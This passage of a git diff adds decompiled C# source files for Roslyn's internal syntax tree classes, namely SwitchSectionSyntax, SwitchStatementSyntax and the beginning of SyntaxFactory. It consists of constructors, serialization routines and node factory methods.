override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new SwitchSectionSyntax(base.Kind, labels, statements, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal SwitchSectionSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 2; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + labels = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + statements = val2; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)labels); + writer.WriteValue((IObjectWritable)(object)statements); + } + + static SwitchSectionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(SwitchSectionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new SwitchSectionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SwitchStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SwitchStatementSyntax.cs new file mode 100644 index 0000000..1e3bc08 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SwitchStatementSyntax.cs @@ -0,0 +1,275 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class SwitchStatementSyntax : StatementSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly SyntaxToken switchKeyword; + + internal readonly SyntaxToken? openParenToken; + + internal readonly ExpressionSyntax expression; + + internal readonly SyntaxToken? closeParenToken; + + internal readonly SyntaxToken openBraceToken; + + internal readonly GreenNode? sections; + + internal readonly SyntaxToken closeBraceToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public SyntaxToken SwitchKeyword => switchKeyword; + + public SyntaxToken? OpenParenToken => openParenToken; + + public ExpressionSyntax Expression => expression; + + public SyntaxToken? CloseParenToken => closeParenToken; + + public SyntaxToken OpenBraceToken => openBraceToken; + + public SyntaxList Sections => new SyntaxList(sections); + + public SyntaxToken CloseBraceToken => closeBraceToken; + + internal SwitchStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken switchKeyword, SyntaxToken? openParenToken, ExpressionSyntax expression, SyntaxToken? closeParenToken, SyntaxToken openBraceToken, GreenNode? sections, SyntaxToken closeBraceToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 8; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)switchKeyword); + this.switchKeyword = switchKeyword; + if (openParenToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + if (closeParenToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + if (sections != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(sections); + this.sections = sections; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + + internal SwitchStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken switchKeyword, SyntaxToken? openParenToken, ExpressionSyntax expression, SyntaxToken? closeParenToken, SyntaxToken openBraceToken, GreenNode? sections, SyntaxToken closeBraceToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 8; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)switchKeyword); + this.switchKeyword = switchKeyword; + if (openParenToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + if (closeParenToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + if (sections != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(sections); + this.sections = sections; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + + internal SwitchStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken switchKeyword, SyntaxToken? openParenToken, ExpressionSyntax expression, SyntaxToken? closeParenToken, SyntaxToken openBraceToken, GreenNode? sections, SyntaxToken closeBraceToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 8; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)switchKeyword); + this.switchKeyword = switchKeyword; + if (openParenToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + if (closeParenToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + if (sections != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(sections); + this.sections = sections; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => switchKeyword, + 2 => openParenToken, + 3 => expression, + 4 => closeParenToken, + 5 => openBraceToken, + 6 => sections, + 7 => closeBraceToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.SwitchStatementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitSwitchStatement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitSwitchStatement(this); + } + + public SwitchStatementSyntax Update(SyntaxList attributeLists, SyntaxToken switchKeyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken, SyntaxToken openBraceToken, SyntaxList sections, SyntaxToken closeBraceToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || switchKeyword != SwitchKeyword || openParenToken != OpenParenToken || expression != Expression || closeParenToken != CloseParenToken || openBraceToken != OpenBraceToken || sections != Sections || closeBraceToken != CloseBraceToken) + { + SwitchStatementSyntax switchStatementSyntax = SyntaxFactory.SwitchStatement(attributeLists, switchKeyword, openParenToken, expression, closeParenToken, openBraceToken, sections, closeBraceToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + switchStatementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(switchStatementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + switchStatementSyntax = GreenNodeExtensions.WithAnnotationsGreen(switchStatementSyntax, (IEnumerable)annotations); + } + return switchStatementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new SwitchStatementSyntax(base.Kind, attributeLists, switchKeyword, openParenToken, expression, closeParenToken, openBraceToken, sections, closeBraceToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new SwitchStatementSyntax(base.Kind, attributeLists, switchKeyword, openParenToken, expression, closeParenToken, openBraceToken, sections, closeBraceToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal SwitchStatementSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + //IL_00c0: Unknown result type (might be due to invalid IL or missing references) + //IL_00c7: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 8; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + switchKeyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + openParenToken = syntaxToken2; + } + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken3 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + closeParenToken = syntaxToken3; + } + SyntaxToken syntaxToken4 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken4); + openBraceToken = syntaxToken4; + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + sections = val2; + } + SyntaxToken syntaxToken5 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken5); + closeBraceToken = syntaxToken5; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)switchKeyword); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)expression); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + writer.WriteValue((IObjectWritable)(object)openBraceToken); + writer.WriteValue((IObjectWritable)(object)sections); + writer.WriteValue((IObjectWritable)(object)closeBraceToken); + } + + static SwitchStatementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(SwitchStatementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new SwitchStatementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SyntaxFactory.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SyntaxFactory.cs new file mode 100644 index 0000000..07457b7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/SyntaxFactory.cs @@ -0,0 +1,3102 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal static class SyntaxFactory +{ + private const string CrLf = "\r\n"; + + internal static readonly SyntaxTrivia CarriageReturnLineFeed = EndOfLine("\r\n"); + + internal static readonly SyntaxTrivia LineFeed = EndOfLine("\n"); + + internal static readonly SyntaxTrivia CarriageReturn = EndOfLine("\r"); + + internal static readonly SyntaxTrivia Space = Whitespace(" "); + + internal static readonly SyntaxTrivia Tab = Whitespace("\t"); + + internal static readonly SyntaxTrivia ElasticCarriageReturnLineFeed = EndOfLine("\r\n", elastic: true); + + internal static readonly SyntaxTrivia ElasticLineFeed = EndOfLine("\n", elastic: true); + + internal static readonly SyntaxTrivia ElasticCarriageReturn = EndOfLine("\r", elastic: true); + + internal static readonly SyntaxTrivia ElasticSpace = Whitespace(" ", elastic: true); + + internal static readonly SyntaxTrivia ElasticTab = Whitespace("\t", elastic: true); + + internal static readonly SyntaxTrivia ElasticZeroSpace = Whitespace(string.Empty, elastic: true); + + private static SyntaxToken s_xmlCarriageReturnLineFeed; + + private static SyntaxToken XmlCarriageReturnLineFeed => s_xmlCarriageReturnLineFeed ?? (s_xmlCarriageReturnLineFeed = XmlTextNewLine("\r\n")); + + internal static SyntaxTrivia EndOfLine(string text, bool elastic = false) + { + SyntaxTrivia syntaxTrivia = null; + switch (text) + { + case "\r": + syntaxTrivia = (elastic ? ElasticCarriageReturn : CarriageReturn); + break; + case "\n": + syntaxTrivia = (elastic ? ElasticLineFeed : LineFeed); + break; + case "\r\n": + syntaxTrivia = (elastic ? ElasticCarriageReturnLineFeed : CarriageReturnLineFeed); + break; + } + if (syntaxTrivia != null) + { + return syntaxTrivia; + } + syntaxTrivia = SyntaxTrivia.Create(SyntaxKind.EndOfLineTrivia, text); + if (!elastic) + { + return syntaxTrivia; + } + return GreenNodeExtensions.WithAnnotationsGreen(syntaxTrivia, (IEnumerable)(object)new SyntaxAnnotation[1] { SyntaxAnnotation.ElasticAnnotation }); + } + + internal static SyntaxTrivia Whitespace(string text, bool elastic = false) + { + SyntaxTrivia syntaxTrivia = SyntaxTrivia.Create(SyntaxKind.WhitespaceTrivia, text); + if (!elastic) + { + return syntaxTrivia; + } + return GreenNodeExtensions.WithAnnotationsGreen(syntaxTrivia, (IEnumerable)(object)new SyntaxAnnotation[1] { SyntaxAnnotation.ElasticAnnotation }); + } + + internal static SyntaxTrivia Comment(string text) + { + if (text.StartsWith("/*", StringComparison.Ordinal)) + { + return SyntaxTrivia.Create(SyntaxKind.MultiLineCommentTrivia, text); + } + return SyntaxTrivia.Create(SyntaxKind.SingleLineCommentTrivia, text); + } + + internal static SyntaxTrivia ConflictMarker(string text) + { + return SyntaxTrivia.Create(SyntaxKind.ConflictMarkerTrivia, text); + } + + internal static SyntaxTrivia DisabledText(string text) + { + return SyntaxTrivia.Create(SyntaxKind.DisabledTextTrivia, text); + } + + internal static SyntaxTrivia PreprocessingMessage(string text) + { + return SyntaxTrivia.Create(SyntaxKind.PreprocessingMessageTrivia, text); + } + + public static SyntaxToken Token(SyntaxKind kind) + { + return SyntaxToken.Create(kind); + } + + internal static SyntaxToken Token(GreenNode leading, SyntaxKind kind, GreenNode trailing) + { + return SyntaxToken.Create(kind, leading, trailing); + } + + internal static SyntaxToken Token(GreenNode leading, SyntaxKind kind, string text, GreenNode trailing) + { + return Token(leading, kind, text, text, trailing); + } + + internal static SyntaxToken Token(GreenNode leading, SyntaxKind kind, string text, string valueText, GreenNode trailing) + { + string text2 = SyntaxFacts.GetText(kind); + if ((int)kind < 8193 || (int)kind > 8496 || !(text == text2) || !(valueText == text2)) + { + return SyntaxToken.WithValue(kind, leading, text, valueText, trailing); + } + return Token(leading, kind, trailing); + } + + internal static SyntaxToken MissingToken(SyntaxKind kind) + { + return SyntaxToken.CreateMissing(kind, null, null); + } + + internal static SyntaxToken MissingToken(GreenNode leading, SyntaxKind kind, GreenNode trailing) + { + return SyntaxToken.CreateMissing(kind, leading, trailing); + } + + internal static SyntaxToken Identifier(string text) + { + return Identifier(SyntaxKind.IdentifierToken, null, text, text, null); + } + + internal static SyntaxToken Identifier(GreenNode leading, string text, GreenNode trailing) + { + return Identifier(SyntaxKind.IdentifierToken, leading, text, text, trailing); + } + + internal static SyntaxToken Identifier(SyntaxKind contextualKind, GreenNode leading, string text, string valueText, GreenNode trailing) + { + return SyntaxToken.Identifier(contextualKind, leading, text, valueText, trailing); + } + + internal static SyntaxToken Literal(GreenNode leading, string text, int value, GreenNode trailing) + { + return SyntaxToken.WithValue(SyntaxKind.NumericLiteralToken, leading, text, value, trailing); + } + + internal static SyntaxToken Literal(GreenNode leading, string text, uint value, GreenNode trailing) + { + return SyntaxToken.WithValue(SyntaxKind.NumericLiteralToken, leading, text, value, trailing); + } + + internal static SyntaxToken Literal(GreenNode leading, string text, long value, GreenNode trailing) + { + return SyntaxToken.WithValue(SyntaxKind.NumericLiteralToken, leading, text, value, trailing); + } + + internal static SyntaxToken Literal(GreenNode leading, string text, ulong value, GreenNode trailing) + { + return SyntaxToken.WithValue(SyntaxKind.NumericLiteralToken, leading, text, value, trailing); + } + + internal static SyntaxToken Literal(GreenNode leading, string text, float value, GreenNode trailing) + { + return SyntaxToken.WithValue(SyntaxKind.NumericLiteralToken, leading, text, value, trailing); + } + + internal static SyntaxToken Literal(GreenNode leading, string text, double value, GreenNode trailing) + { + return SyntaxToken.WithValue(SyntaxKind.NumericLiteralToken, leading, text, value, trailing); + } + + internal static SyntaxToken Literal(GreenNode leading, string text, decimal value, GreenNode trailing) + { + return SyntaxToken.WithValue(SyntaxKind.NumericLiteralToken, leading, text, value, trailing); + } + + internal static SyntaxToken Literal(GreenNode leading, string text, string value, GreenNode trailing) + { + return SyntaxToken.WithValue(SyntaxKind.StringLiteralToken, leading, text, value, trailing); + } + + internal static SyntaxToken Literal(GreenNode leading, string text, SyntaxKind kind, string value, GreenNode trailing) + { + return SyntaxToken.WithValue(kind, leading, text, value, trailing); + } + + internal static SyntaxToken Literal(GreenNode leading, string text, char value, GreenNode trailing) + { + return SyntaxToken.WithValue(SyntaxKind.CharacterLiteralToken, leading, text, value, trailing); + } + + internal static SyntaxToken BadToken(GreenNode leading, string text, GreenNode trailing) + { + return SyntaxToken.WithValue(SyntaxKind.BadToken, leading, text, text, trailing); + } + + internal static SyntaxToken XmlTextLiteral(GreenNode leading, string text, string value, GreenNode trailing) + { + return SyntaxToken.WithValue(SyntaxKind.XmlTextLiteralToken, leading, text, value, trailing); + } + + internal static SyntaxToken XmlTextNewLine(GreenNode leading, string text, string value, GreenNode trailing) + { + if (leading == null && trailing == null && text == "\r\n" && value == "\r\n") + { + return XmlCarriageReturnLineFeed; + } + return SyntaxToken.WithValue(SyntaxKind.XmlTextLiteralNewLineToken, leading, text, value, trailing); + } + + internal static SyntaxToken XmlTextNewLine(string text) + { + return SyntaxToken.WithValue(SyntaxKind.XmlTextLiteralNewLineToken, null, text, text, null); + } + + internal static SyntaxToken XmlEntity(GreenNode leading, string text, string value, GreenNode trailing) + { + return SyntaxToken.WithValue(SyntaxKind.XmlEntityLiteralToken, leading, text, value, trailing); + } + + internal static SyntaxTrivia DocumentationCommentExteriorTrivia(string text) + { + return SyntaxTrivia.Create(SyntaxKind.DocumentationCommentExteriorTrivia, text); + } + + public static SyntaxList List() where TNode : CSharpSyntaxNode + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return default(SyntaxList); + } + + public static SyntaxList List(TNode node) where TNode : CSharpSyntaxNode + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxList(SyntaxList.List((GreenNode)(object)node)); + } + + public static SyntaxList List(TNode node0, TNode node1) where TNode : CSharpSyntaxNode + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxList((GreenNode)(object)SyntaxList.List((GreenNode)(object)node0, (GreenNode)(object)node1)); + } + + internal static GreenNode ListNode(CSharpSyntaxNode node0, CSharpSyntaxNode node1) + { + return (GreenNode)(object)SyntaxList.List((GreenNode)(object)node0, (GreenNode)(object)node1); + } + + public static SyntaxList List(TNode node0, TNode node1, TNode node2) where TNode : CSharpSyntaxNode + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxList((GreenNode)(object)SyntaxList.List((GreenNode)(object)node0, (GreenNode)(object)node1, (GreenNode)(object)node2)); + } + + internal static GreenNode ListNode(CSharpSyntaxNode node0, CSharpSyntaxNode node1, CSharpSyntaxNode node2) + { + return (GreenNode)(object)SyntaxList.List((GreenNode)(object)node0, (GreenNode)(object)node1, (GreenNode)(object)node2); + } + + public static SyntaxList List(params TNode[] nodes) where TNode : CSharpSyntaxNode + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (nodes != null) + { + return new SyntaxList(SyntaxList.List((GreenNode[])(object)nodes)); + } + return default(SyntaxList); + } + + internal static GreenNode ListNode(params ArrayElement[] nodes) + { + return (GreenNode)(object)SyntaxList.List(nodes); + } + + public static SeparatedSyntaxList SeparatedList(TNode node) where TNode : CSharpSyntaxNode + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList((GreenNode)(object)node))); + } + + public static SeparatedSyntaxList SeparatedList(SyntaxToken token) where TNode : CSharpSyntaxNode + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList((GreenNode)(object)token))); + } + + public static SeparatedSyntaxList SeparatedList(TNode node1, SyntaxToken token, TNode node2) where TNode : CSharpSyntaxNode + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + return new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList((GreenNode)(object)SyntaxList.List((GreenNode)(object)node1, (GreenNode)(object)token, (GreenNode)(object)node2)))); + } + + public static SeparatedSyntaxList SeparatedList(params CSharpSyntaxNode[] nodes) where TNode : CSharpSyntaxNode + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (nodes != null) + { + return new SeparatedSyntaxList(SyntaxList.op_Implicit(SyntaxList.List((GreenNode[])(object)nodes))); + } + return default(SeparatedSyntaxList); + } + + internal static IEnumerable GetWellKnownTrivia() + { + yield return CarriageReturnLineFeed; + yield return LineFeed; + yield return CarriageReturn; + yield return Space; + yield return Tab; + yield return ElasticCarriageReturnLineFeed; + yield return ElasticLineFeed; + yield return ElasticCarriageReturn; + yield return ElasticSpace; + yield return ElasticTab; + yield return ElasticZeroSpace; + } + + internal static IEnumerable GetWellKnownTokens() + { + return SyntaxToken.GetWellKnownTokens(); + } + + public static IdentifierNameSyntax IdentifierName(SyntaxToken identifier) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8616, (GreenNode)(object)identifier, ref num); + if (val != null) + { + return (IdentifierNameSyntax)(object)val; + } + IdentifierNameSyntax identifierNameSyntax = new IdentifierNameSyntax(SyntaxKind.IdentifierName, identifier); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)identifierNameSyntax, num); + } + return identifierNameSyntax; + } + + public static QualifiedNameSyntax QualifiedName(NameSyntax left, SyntaxToken dotToken, SimpleNameSyntax right) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8617, (GreenNode)(object)left, (GreenNode)(object)dotToken, (GreenNode)(object)right, ref num); + if (val != null) + { + return (QualifiedNameSyntax)(object)val; + } + QualifiedNameSyntax qualifiedNameSyntax = new QualifiedNameSyntax(SyntaxKind.QualifiedName, left, dotToken, right); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)qualifiedNameSyntax, num); + } + return qualifiedNameSyntax; + } + + public static GenericNameSyntax GenericName(SyntaxToken identifier, TypeArgumentListSyntax typeArgumentList) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8618, (GreenNode)(object)identifier, (GreenNode)(object)typeArgumentList, ref num); + if (val != null) + { + return (GenericNameSyntax)(object)val; + } + GenericNameSyntax genericNameSyntax = new GenericNameSyntax(SyntaxKind.GenericName, identifier, typeArgumentList); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)genericNameSyntax, num); + } + return genericNameSyntax; + } + + public static TypeArgumentListSyntax TypeArgumentList(SyntaxToken lessThanToken, SeparatedSyntaxList arguments, SyntaxToken greaterThanToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8619, (GreenNode)(object)lessThanToken, arguments.Node, (GreenNode)(object)greaterThanToken, ref num); + if (val != null) + { + return (TypeArgumentListSyntax)(object)val; + } + TypeArgumentListSyntax typeArgumentListSyntax = new TypeArgumentListSyntax(SyntaxKind.TypeArgumentList, lessThanToken, arguments.Node, greaterThanToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)typeArgumentListSyntax, num); + } + return typeArgumentListSyntax; + } + + public static AliasQualifiedNameSyntax AliasQualifiedName(IdentifierNameSyntax alias, SyntaxToken colonColonToken, SimpleNameSyntax name) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8620, (GreenNode)(object)alias, (GreenNode)(object)colonColonToken, (GreenNode)(object)name, ref num); + if (val != null) + { + return (AliasQualifiedNameSyntax)(object)val; + } + AliasQualifiedNameSyntax aliasQualifiedNameSyntax = new AliasQualifiedNameSyntax(SyntaxKind.AliasQualifiedName, alias, colonColonToken, name); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)aliasQualifiedNameSyntax, num); + } + return aliasQualifiedNameSyntax; + } + + public static PredefinedTypeSyntax PredefinedType(SyntaxToken keyword) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8621, (GreenNode)(object)keyword, ref num); + if (val != null) + { + return (PredefinedTypeSyntax)(object)val; + } + PredefinedTypeSyntax predefinedTypeSyntax = new PredefinedTypeSyntax(SyntaxKind.PredefinedType, keyword); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)predefinedTypeSyntax, num); + } + return predefinedTypeSyntax; + } + + public static ArrayTypeSyntax ArrayType(TypeSyntax elementType, SyntaxList rankSpecifiers) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8622, (GreenNode)(object)elementType, rankSpecifiers.Node, ref num); + if (val != null) + { + return (ArrayTypeSyntax)(object)val; + } + ArrayTypeSyntax arrayTypeSyntax = new ArrayTypeSyntax(SyntaxKind.ArrayType, elementType, rankSpecifiers.Node); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)arrayTypeSyntax, num); + } + return arrayTypeSyntax; + } + + public static ArrayRankSpecifierSyntax ArrayRankSpecifier(SyntaxToken openBracketToken, SeparatedSyntaxList sizes, SyntaxToken closeBracketToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8623, (GreenNode)(object)openBracketToken, sizes.Node, (GreenNode)(object)closeBracketToken, ref num); + if (val != null) + { + return (ArrayRankSpecifierSyntax)(object)val; + } + ArrayRankSpecifierSyntax arrayRankSpecifierSyntax = new ArrayRankSpecifierSyntax(SyntaxKind.ArrayRankSpecifier, openBracketToken, sizes.Node, closeBracketToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)arrayRankSpecifierSyntax, num); + } + return arrayRankSpecifierSyntax; + } + + public static PointerTypeSyntax PointerType(TypeSyntax elementType, SyntaxToken asteriskToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8624, (GreenNode)(object)elementType, (GreenNode)(object)asteriskToken, ref num); + if (val != null) + { + return (PointerTypeSyntax)(object)val; + } + PointerTypeSyntax pointerTypeSyntax = new PointerTypeSyntax(SyntaxKind.PointerType, elementType, asteriskToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)pointerTypeSyntax, num); + } + return pointerTypeSyntax; + } + + public static FunctionPointerTypeSyntax FunctionPointerType(SyntaxToken delegateKeyword, SyntaxToken asteriskToken, FunctionPointerCallingConventionSyntax? callingConvention, FunctionPointerParameterListSyntax parameterList) + { + return new FunctionPointerTypeSyntax(SyntaxKind.FunctionPointerType, delegateKeyword, asteriskToken, callingConvention, parameterList); + } + + public static FunctionPointerParameterListSyntax FunctionPointerParameterList(SyntaxToken lessThanToken, SeparatedSyntaxList parameters, SyntaxToken greaterThanToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9058, (GreenNode)(object)lessThanToken, parameters.Node, (GreenNode)(object)greaterThanToken, ref num); + if (val != null) + { + return (FunctionPointerParameterListSyntax)(object)val; + } + FunctionPointerParameterListSyntax functionPointerParameterListSyntax = new 